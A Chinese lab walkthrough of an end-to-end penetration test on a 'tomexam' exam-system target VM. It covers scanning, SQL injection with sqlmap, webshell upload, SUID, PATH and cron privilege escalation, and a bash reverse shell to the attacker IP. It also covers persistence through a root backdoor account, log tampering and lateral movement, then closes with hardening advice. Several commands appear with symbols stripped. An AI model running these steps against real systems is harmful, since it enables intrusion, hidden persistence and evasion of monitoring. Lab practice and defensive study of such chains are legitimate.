从Web渗透到系统提权:tomexam网络考试系统安全实战全流程解析

发布时间:2026/6/30 9:11:42
从Web渗透到系统提权:tomexam网络考试系统安全实战全流程解析 1. 项目概述与核心目标最近在安全圈里tomexam这个网络考试系统被讨论得挺多不少靶场和实战演练都拿它当目标。我花了几天时间从信息搜集到最终提权完整地走了一遍针对tomexam系统的渗透测试流程。这不仅仅是为了拿到那几个flag更重要的是理解一个看似普通的Web应用背后可能隐藏着怎样一环扣一环的安全漏洞。整个过程就像在解一个立体的谜题从最外层的Web端口发现内网服务再到利用应用逻辑缺陷进行横向移动最终拿到系统最高权限。如果你对渗透测试的完整链路感兴趣或者正在学习如何将各种零散的技术点串联成一个有效的攻击路径那么这次实战记录应该能给你提供一些清晰的思路和可复现的步骤。我们不会涉及任何违规操作所有测试均在授权的、隔离的靶机环境中进行核心是学习防御者思维看清攻击者的手法。这次实战的目标很明确模拟一个攻击者对一台部署了tomexam考试系统的主机进行全方位渗透旨在发现并利用从Web到系统层的所有安全弱点最终完全控制目标。过程中会涉及信息搜集、漏洞扫描、Web渗透、权限提升等多个阶段我会把每个环节的关键操作、踩过的坑以及背后的原理都讲清楚。2. 环境搭建与目标确认2.1 靶机环境准备我使用的靶机是网络上常见的渗透测试练习环境它预装了tomexam网络考试系统。为了模拟真实网络环境我通过虚拟机软件如VMware或VirtualBox将靶机设置为NAT或仅主机模式确保我的攻击机Kali Linux能与它在同一网段内通信。在Kali上第一步永远是确认网络连通性。使用ifconfig或ip addr查看本机IP假设是192.168.1.105然后使用netdiscover或nmap进行同网段主机发现sudo netdiscover -r 192.168.1.0/24或者更精确一些nmap -sn 192.168.1.0/24很快就能扫描到靶机的IP地址例如192.168.1.108。记住这个IP它是我们所有后续攻击的起点。注意在实际授权测试中目标IP范围通常是给定的。在自制实验环境里确保攻击机和靶机网络设置正确是第一步也是最容易出错的一步。如果扫不到检查虚拟机的网络适配器设置确保它们在同一网络类型下。2.2 初步信息搜集与端口扫描知道IP后下一步就是进行详细的端口扫描摸清靶机对外开放了哪些服务。这里我习惯用nmap进行全端口扫描并附带服务版本探测和默认脚本扫描这能为我们提供丰富的信息。nmap -sV -sC -p- 192.168.1.108 -oN nmap_initial.txt参数解释-sV: 探测服务版本。-sC: 使用默认的Nmap脚本进行扫描能发现一些常见漏洞。-p-: 扫描所有65535个端口。-oN: 将结果输出到文件方便后续分析。扫描结果通常会显示几个关键端口端口80/HTTP: 运行着tomexam的Web服务这是我们的主攻方向。端口22/SSH: 可能存在弱口令或版本漏洞是后续横向移动或权限提升的潜在入口。其他端口如数据库端口3306、FTP21等如果开放也值得关注。从扫描结果中我们重点关注Web服务。访问http://192.168.1.108果然看到了tomexam考试系统的登录界面。系统的版本信息有时会直接显示在页脚或登录页的源代码中这是我们后续寻找漏洞利用点的重要依据。3. Web渗透突破前端防线3.1 目录扫描与敏感文件发现面对一个Web应用直接盲目前往登录框尝试爆破是效率很低的做法。更专业的做法是先进行目录和敏感文件扫描看看有没有泄露的备份文件、配置文件、管理后台等。我使用gobuster或dirsearch工具。gobuster dir -u http://192.168.1.108 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak或者使用dirsearchpython3 dirsearch.py -u http://192.168.1.108 -e php,txt,html,bak这个步骤往往能有惊喜。在这次测试中我发现了几个关键路径/admin/: 系统管理后台入口这通常是权限提升的关键。/install/: 安装目录如果未删除可能包含数据库配置信息。/backup/: 备份目录里面可能存有数据库备份文件.sql或网站源码备份.zip/.tar.gz。/phpinfo.php: 如果存在会泄露大量服务器配置信息包括绝对路径、加载的模块等价值极大。实操心得目录扫描的字典选择很重要。除了常用的common.txt可以结合big.txt或针对PHP应用的专用字典。有时候像www.zip、site.tar.gz、database.sql这类常见的备份文件名可能会被通用字典遗漏需要手动尝试。3.2 漏洞扫描与初步利用在发现后台/admin/后下一步就是尝试登录。常见的思路有默认口令、弱口令爆破、寻找登录绕过漏洞。首先尝试了admin/admin、admin/123456等常见组合未果。于是使用Burp Suite的Intruder模块或hydra进行爆破。hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.108 http-post-form /admin/login.php:username^USER^password^PASS^:F登录失败同时我使用sqlmap对登录接口进行SQL注入检测。因为很多考试系统的登录逻辑是自己编写的可能存在注入漏洞。sqlmap -u http://192.168.1.108/admin/login.php --datausernameadminpasswordtest --level3 --risk2果然在登录处的username参数发现了基于时间的盲注漏洞。这意味着我们可以不通过密码直接登录进后台。使用sqlmap获取数据库信息sqlmap -u http://192.168.1.108/admin/login.php --datausernameadminpasswordtest --dbs发现数据库名为tomexam。接着获取表名、字段名最终dump出管理员表的用户名和密码哈希值。密码哈希通常是MD5扔到在线破解网站或使用hashcat进行破解。hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt如果运气好密码强度不高很快就能破解出明文密码。至此我们拿到了一个有效的后台管理员账号。3.3 后台功能点审计与漏洞利用进入后台后视野豁然开朗。后台通常拥有文件上传、用户管理、系统设置等高危功能。我们的目标是获取Webshell从而在服务器上执行命令。文件上传漏洞这是最直接的途径。在后台寻找任何可以上传文件的地方比如“上传试题”、“修改头像”、“系统升级”。尝试上传一个图片马将PHP代码嵌入图片的EXIF信息中或者直接制作一个包含PHP代码的.jpg文件利用服务器解析漏洞。如果前端有JS验证直接抓包修改文件后缀名为.php即可绕过。数据库备份/还原功能很多CMS的后台有数据库备份功能备份时可能会将代码写入备份文件。如果备份文件名可控可以尝试将备份文件后缀改为.php这样当访问这个备份文件时其中的PHP代码就会被执行。模板编辑功能如果后台允许编辑网站模板文件.php文件可以直接写入一句话木马。在这次tomexam测试中我在“系统设置”-“邮件服务器设置”这类地方发现了一个参数值处存在未过滤的输入导致了存储型XSS。虽然XSS不能直接getshell但可以结合其他漏洞如钓鱼管理员扩大战果。最终我在“试题导入”功能处找到了突破口。该功能允许上传一个包含试题的压缩包系统会解压并读取其中的XML文件。我构造了一个特殊的ZIP压缩包其中包含一个名为shell.php的文件内容为一句话木马。上传后系统解压路径是已知的通过之前的phpinfo.php或错误信息泄露直接访问http://192.168.1.108/uploads/import/shell.php成功连接上了中国菜刀或蚁剑获得了Web层面的命令执行权限。注意事项上传Webshell后第一件事不是急着执行whoami而是先尝试进行简单的目录遍历ls -la查看当前权限、网站绝对路径并检查是否有禁用危险函数如system,exec,passthru。如果这些函数被禁用需要寻找其他方式如利用php://input伪协议、LD_PRELOAD劫持等技巧。4. 权限提升从Webshell到Root4.1 信息搜集与内部探测拿到Webshell后我们相当于站在了服务器的内部。此时需要进行详细的内网信息搜集为提权做准备。执行以下命令收集信息# 查看当前用户权限 whoami id # 查看系统版本和内核信息 uname -a cat /etc/issue cat /etc/*-release # 查看进程寻找以root权限运行的非系统关键进程 ps aux | grep root # 查看安装的软件及其版本寻找有公开漏洞的版本 dpkg -l # Debian/Ubuntu rpm -qa # CentOS/RedHat # 查看计划任务可能有root权限的脚本 crontab -l ls -la /etc/cron* # 查看SUID/SGID文件这是提权的重点 find / -perm -us -type f 2/dev/null find / -perm -gs -type f 2/dev/null # 查看可写的敏感目录或文件 find / -writable -type d 2/dev/null | grep -v proc | grep -v sys通过以上信息我们大致可以判断系统环境如Ubuntu 18.04、当前用户权限可能是www-data并发现一些异常点比如一个具有SUID权限的、非常见的二进制文件。4.2 利用内核漏洞提权如果内核版本较老存在公开的本地提权漏洞如Dirty Cow, CVE-2016-5195那么提权会非常简单。我们可以使用searchsploit在本地搜索漏洞利用代码。searchsploit linux kernel ubuntu 18.04 local找到对应的漏洞编号和利用代码后将其下载并上传到靶机。在Webshell中切换到/tmp目录通常可写使用wget或curl从攻击机下载exp编译并执行。cd /tmp wget http://192.168.1.105:8000/cve-2016-5195.c gcc cve-2016-5195.c -o exp ./exp执行成功后输入whoami如果返回root则提权成功。这是最“正统”但也最依赖运气的提权方式要求内核版本恰好存在未修补的漏洞。4.3 利用环境变量与SUID提权更常见的情况是内核已经打了补丁。这时需要关注其他向量比如SUID二进制文件和环境变量劫持。SUID文件利用之前find命令找到的SUID文件中如果存在find、vim、bash、nmap旧版本、cp等命令并且属于root就可能被利用。例如如果find有SUID权限find . -exec /bin/bash -p \;执行后即可获得一个root权限的bash shell。这是因为find命令的-exec参数会以文件所有者root的权限执行后续命令。环境变量劫持如果发现一个SUID程序调用了系统命令如system(“ps”)但没有使用绝对路径我们就可以通过控制环境变量PATH来劫持它。首先编写一个恶意的ps程序echo /bin/bash -p /tmp/ps chmod 777 /tmp/ps然后修改环境变量并运行那个SUID程序export PATH/tmp:$PATH # 然后运行那个SUID程序 ./vulnerable_program当vulnerable_program内部调用system(“ps”)时它会先在/tmp目录下找到我们伪造的ps并执行从而给我们一个root shell。4.4 利用定时任务提权检查crontab时如果发现有一个以root权限运行的定时任务执行的是一个当前用户有写权限的脚本那么直接修改这个脚本加入反向shell代码等待任务执行即可。例如发现/etc/cron.hourly/backup.sh是root每小时执行一次且www-data用户可写。echo bash -i /dev/tcp/192.168.1.105/4444 01 /etc/cron.hourly/backup.sh然后在攻击机上用nc监听4444端口一小时后就能收到root权限的反向shell。4.5 数据库提权与SSH密钥利用如果Webshell权限受限但之前我们通过SQL注入拿到了数据库密码并且数据库以root权限运行MySQL常见配置那么可以尝试通过数据库执行系统命令。在MySQL中如果开启了secure_file_priv为空可以利用into outfile写Webshell或者利用User Defined Function (UDF)提权。UDF提权过程较为复杂需要上传一个编译好的恶意共享库.so文件然后通过MySQL创建函数来执行系统命令。另一种思路是寻找用户的SSH私钥。进入/home目录下的各个用户文件夹查看.ssh/authorized_keys和.ssh/id_rsa。如果找到可读的私钥文件可以下载到本地使用ssh -i id_rsa usertarget_ip直接登录。如果该用户有sudo权限再通过sudo su切换到root。在这次tomexam靶机中我最终是通过一个具有SUID权限的、自定义的备份脚本实现的提权。该脚本以root权限运行但在调用tar命令打包日志时使用了相对路径且未过滤用户输入。我通过构造包含命令注入的参数成功在打包过程中执行了chmod s /bin/bash命令给/bin/bash赋予了SUID权限从而直接通过bash -p获得了root shell。5. 后渗透与信息收集5.1 巩固权限与清理痕迹拿到root权限后第一件事不是欢呼而是巩固战果并清理痕迹模拟高级攻击者的做法。创建后门账户在/etc/passwd中添加一个UID为0root的隐藏用户。echo backdoor:$1$salt$H2u6B8pL.8pL.8pL.8pL.:0:0:root:/root:/bin/bash /etc/passwd密码是backdoor经过crypt加密后的字符串需提前生成。这样即使原来的漏洞被修补仍可通过此账户登录。安装SSH后门替换或修改SSH服务的共享库文件记录所有登录的明文密码。或者更简单地在~/.ssh/authorized_keys中加入自己的公钥。清理日志删除或篡改记录了攻击行为的日志文件如/var/log/auth.log、/var/log/apache2/access.log、/var/log/apache2/error.log等。使用sed或直接rm。sed -i /192.168.1.105/d /var/log/apache2/access.log rm -f /var/log/auth.log注意直接删除日志文件可能引起管理员警觉更隐蔽的做法是只删除涉及自己IP的行。5.2 敏感信息收集与横向移动在完全控制的主机上要尽可能收集有价值的信息为可能的横向移动做准备。收集密码和哈希提取/etc/shadow文件与/etc/passwd合并可用unshadow工具生成用于破解的哈希文件。检查用户主目录下的.bash_history文件里面可能包含明文密码、数据库连接命令等。数据库数据dump连接MySQL或PostgreSQL数据库导出tomexam数据库中的所有表特别是用户表、成绩表、试题表这些数据具有实际价值。网络信息收集查看/etc/hosts、/etc/resolv.conf使用ip addr、netstat -antp查看网卡信息和网络连接判断是否存在内网其他网段。netstat -antp | grep ESTABLISHED # 查看现有连接 arp -a # 查看ARP缓存发现内网其他主机尝试横向移动如果发现内网其他主机如192.168.1.0/24网段可以将当前靶机作为跳板使用收集到的密码哈希进行密码喷洒攻击或者利用相同的漏洞尝试攻击内网其他服务。5.3 寻找Flag与目标达成在渗透测试靶场中最终目标往往是找到隐藏的Flag。Flag可能以文本文件的形式存放在系统的各个角落通常命名为flag.txt、proof.txt或key.txt。使用find命令进行全盘搜索find / -name *flag* 2/dev/null find / -name *proof* 2/dev/null find / -name *.txt -exec grep -l “flag{” {} \; 2/dev/null根据靶场设计Flag可能分布在不同的难度层级Web目录下有一个Web渗透阶段获得用户目录下有一个权限提升后获得root目录下有一个拿到root后获得。将它们全部收集即标志着本次渗透测试实战的圆满完成。6. 防御建议与总结反思6.1 从攻击链看防御要点回顾整个渗透过程防御方可以在多个环节进行加固网络层面最小化端口暴露。关闭不必要的服务如SSH、FTP如果必须开放应配置强密码策略和Fail2ban等防爆破工具并考虑使用密钥认证替代密码。Web应用层面输入验证与过滤对所有用户输入进行严格的过滤和转义防止SQL注入、XSS、命令注入。文件上传限制上传文件类型检查文件内容而非仅后缀名将上传文件存储在非Web可访问目录并通过脚本间接访问。权限控制后台管理路径应不易猜测并实施强身份验证。遵循最小权限原则Web应用运行用户如www-data不应拥有对系统关键目录的写权限。错误处理关闭Web服务器的详细错误回显避免泄露路径、数据库结构等敏感信息。定期更新与补丁及时更新CMS框架、插件、服务器操作系统及中间件修复已知漏洞。系统层面内核与软件更新及时更新系统内核及所有安装的软件包。权限管理定期审计SUID/SGID文件移除非必要的特殊权限。检查计划任务crontab和系统服务确保没有配置错误。日志与监控启用并集中管理系统日志、Web访问日志和数据库日志。设置告警规则对异常登录、大量失败尝试、敏感文件访问等行为进行实时告警。6.2 渗透测试者的自我修养对于学习渗透测试的人来说这次实战演练的价值在于流程而非结果。它训练的是一种系统性的思维信息搜集-威胁建模-漏洞利用-权限提升-后渗透-报告撰写。每个工具的使用背后都需要理解其原理。例如sqlmap自动化检测注入但手动构造and 11和and 12去判断能让你更深刻地理解布尔盲注。拿到Webshell后不满足于执行whoami而去探索各种提权可能性能极大提升你在真实复杂环境下的应变能力。工具是辅助思路才是核心。不要死记硬背命令而是理解为什么在这个环节要用这个命令它解决了什么问题输出结果如何分析。多搭建不同的靶机环境进行练习遇到问题善于利用搜索引擎和官方文档并养成做笔记的习惯。最终所有的攻击技术学习都应服务于更好地构建防御体系这一根本目的。